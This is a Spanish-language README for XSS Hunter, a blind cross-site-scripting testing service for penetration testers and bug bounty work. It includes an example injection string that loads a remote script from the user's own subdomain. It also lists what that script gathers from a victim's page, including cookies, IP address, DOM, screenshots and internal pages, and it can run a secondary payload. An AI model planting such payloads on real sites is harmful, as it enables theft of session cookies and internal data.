Configuración

Por favor, consulta https://thehackerblog.com/xss-hunter-is-now-open-source-heres-how-to-set-it-up/ para obtener información sobre cómo configurar XSS Hunter en tu propio servidor.

Resumen de Funcionalidad

Al registrarte, crearás un dominio corto especial como yoursubdomain.xss.ht que identifica tus vulnerabilidades XSS y aloja tu payload. Luego usas este subdominio en tus pruebas XSS, utilizando intentos de inyección como "><script src=//yoursubdomain.xss.ht></script>. XSS Hunter servirá automáticamente sondas XSS y recopilará la información resultante cuando se activen.

Características

• Activaciones de payload XSS gestionadas: Gestiona todos tus payloads XSS en el panel de control de tu cuenta de XSS Hunter.
• Sondas XSS potentes: La siguiente información se recopila cada vez que una sonda se activa en una página vulnerable:
  • La URI de la página vulnerable
  • Origen de ejecución
  • La dirección IP de la víctima
  • El referer de la página
  • El User Agent de la víctima
  • Todas las cookies no HTTP-Only
  • El DOM HTML completo de la página
  • Captura de pantalla completa de la página afectada
  • Solicitud HTTP responsable (si se utiliza una herramienta compatible con XSS Hunter)
• Capturas de pantalla completas de página: Las sondas de XSS Hunter utilizan la API de canvas HTML5 para generar una captura de pantalla completa de la página vulnerable en la que se ha activado un payload XSS. Con esta función, puedes echar un vistazo a paneles administrativos internos, mesas de ayuda, sistemas de registro y otras aplicaciones web internas. Esto permite generar informes más potentes que muestren el impacto completo de la vulnerabilidad a tu cliente o programa de recompensas.
• Generación de informes en Markdown: Cada informe de payload XSS viene con un informe markdown pregenerado. Estos informes generados también son compatibles con otras plataformas que admiten markdown, como Phabricator, para facilitar la notificación de errores en los sistemas de tickets de la empresa.
• Informes por correo de activación de payload XSS: Las activaciones de payload XSS también envían informes detallados por correo electrónico que se pueden reenviar fácilmente a los contactos de seguridad adecuados para reportar errores críticos de forma sencilla.
• Generación automática de payloads: XSS Hunter genera automáticamente payloads XSS para que los uses en tus pruebas de seguridad de aplicaciones web.
• Inyecciones correlacionadas: Quizás la característica más potente de XSS Hunter es la capacidad de correlacionar intentos de inyección con activaciones de payload XSS. Al usar una herramienta de prueba compatible con XSS Hunter, puedes saber inmediatamente qué causó que un payload específico se activara (¡incluso semanas después del intento de inyección!).
• Cifrado PGP opcional para correos de payload: ¿Eres muy paranoico? Está disponible el cifrado PGP del lado del cliente, que cifrará todos los datos de inyección en el navegador de la víctima antes de enviarlos al servicio XSS Hunter.
• Captura de páginas: Cuando tu payload XSS se active, puedes especificar una lista de rutas relativas para que el payload las recupere y almacene automáticamente. Esto es útil para encontrar otras vulnerabilidades, como políticas crossdomain.xml incorrectas en sistemas internos a los que normalmente no se podría acceder.
• Carga de payload secundario: ¿Tienes un payload secundario que quieras cargar después de que XSS Hunter haya hecho su trabajo? XSS Hunter te ofrece la opción de especificar un payload JavaScript secundario para ejecutar después de que haya completado su recopilación.
• Aplicación web iOS: También es posible ver tus activaciones de payload XSS a través de una aplicación web iOS. Simplemente navega a la ruta /app y guarda la página como una aplicación web en el escritorio de tu iPhone.

Exploits Notables

• XSS ciego en la herramienta de servicio interna de Tesla: https://samcurry.net/cracking-my-windshield-and-earning-10000-on-the-tesla-bug-bounty-program/
• XSS ciego en la integración de Salesforce de Spotify: https://mhmdiaa.github.io/blind-xss-in-spotify/
• XSS ciego en el panel de soporte de GoDaddy: https://thehackerblog.com/poisoning-the-well-compromising-godaddy-customer-support-with-blind-xss/

¿Quieres Contribuir?

Todo el código fue creado por mí y (por esa razón) probablemente no sea una buena práctica y definitivamente necesita optimización/limpieza. ¡Cualquier pull request es bienvenido!